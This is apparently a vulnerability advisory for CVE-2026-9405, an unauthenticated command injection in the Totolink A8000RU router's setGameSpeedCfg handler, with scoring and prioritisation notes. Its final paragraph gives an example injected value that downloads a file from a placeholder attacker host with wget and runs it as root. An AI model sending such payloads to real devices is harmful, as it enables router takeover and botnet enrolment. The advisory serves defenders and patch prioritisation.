Totolink A8000RU CVE-2026-9405

The attacker needs network reachability to the router's Web Management Interface on the cstecgi.cgi endpoint and the ability to issue a request invoking the setGameSpeedCfg function with a controlled 'enable' parameter; no authentication, user interaction, or non-default configuration is indicated by the CVSS 4.0 vector (PR:N/UI:N/AC:L/AT:N). Exploitation is limited in practice to deployments running firmware A8000RU 7.1cu.643_b20200521 (the only version listed in EUVD/CPE) and to environments where the management interface is reachable from the attacker - typically LAN-side by default, but high-impact when WAN-side remote management is enabled or the device is directly exposed.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N, VC:H/VI:H/VA:H) scores 8.9 and reflects remote, low-complexity, unauthenticated exploitation with high confidentiality, integrity, and availability impact on the vulnerable component, which aligns with SSVC's 'Technical Impact: total' and 'Automatable: yes' classifications. EPSS is comparatively modest at 0.89% (76th percentile), which appears inconsistent with the ease of exploitation and public PoC availability - this likely reflects Totolink's smaller installed base and limited mass-scanning telemetry rather than genuine exploitation difficulty. SSVC marks exploitation status as 'poc' and the PoC is hosted on GitHub, so opportunistic abuse against internet-exposed management interfaces is realistic. This is not yet listed in CISA KEV, but the combination of network-reachable admin interface, no authentication required, and a published PoC makes it a real prioritization concern for any environment running the affected firmware, particularly where the WAN-side admin interface is reachable.

An attacker reachable over the network sends a crafted HTTP POST request to /cgi-bin/cstecgi.cgi targeting the setGameSpeedCfg action with a shell metacharacter payload in the 'enable' parameter (e.g., 'enable=1;wget http://attacker/x -O /tmp/x;sh /tmp/x'), causing the router to execute the injected commands as root. Because a public PoC is available on GitHub and no authentication is required, this can be automated to scan and compromise exposed A8000RU devices at scale, enrolling them into a botnet or pivoting into the LAN.